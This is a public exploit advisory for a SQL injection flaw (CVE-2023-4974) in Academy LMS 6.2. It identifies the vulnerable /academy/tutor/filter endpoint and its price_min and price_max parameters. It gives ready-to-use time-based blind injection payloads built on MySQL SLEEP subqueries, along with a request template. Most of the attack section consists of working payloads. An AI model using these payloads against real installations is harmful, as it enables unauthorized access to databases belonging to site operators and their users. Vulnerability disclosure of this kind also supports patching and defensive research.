Academy LMS 6.2 SQL Injection

# Exploit Title: Academy LMS 6.2 - SQL Injection# Exploit Author: CraCkEr# Date: 29/08/2023# Vendor: Creativeitem# Vendor Homepage: https://creativeitem.com/# Software Link: https://demo.creativeitem.com/academy/# Tested on: Windows 10 Pro# Impact: Database Access# CVE: CVE-2023-4974# CWE: CWE-89 / CWE-74 / CWE-707## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushkaCryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionSQL injection attacks can allow unauthorized access to sensitive data, modification ofdata and crash the application or make it unavailable, leading to lost revenue anddamage to a company's reputation.Path: /academy/tutor/filterGET parameter 'price_min' is vulnerable to SQL InjectionGET parameter 'price_max' is vulnerable to SQL Injectionhttps://website/academy/tutor/filter?searched_word=&searched_tution_class_type%5B%5D=1&price_min=[SQLi]&price_max=[SQLi]&searched_price_type%5B%5D=hourly&searched_duration%5B%5D=0---Parameter: price_min (GET)    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)    Payload: searched_word=&searched_tution_class_type[]=1&price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&price_max=9&searched_price_type[]=hourly&searched_duration[]=0Parameter: price_max (GET)    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)    Payload: searched_word=&searched_tution_class_type[]=1&price_min=1&price_max=(SELECT(0)FROM(SELECT(SLEEP(9)))a)&searched_price_type[]=hourly&searched_duration[]=0---[-] Done